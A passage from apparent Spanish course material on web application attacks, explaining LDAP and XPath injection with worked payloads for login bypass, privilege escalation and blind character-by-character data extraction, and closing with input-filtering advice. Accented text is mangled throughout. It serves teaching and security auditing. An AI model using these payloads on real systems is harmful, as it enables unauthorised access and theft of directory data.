datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
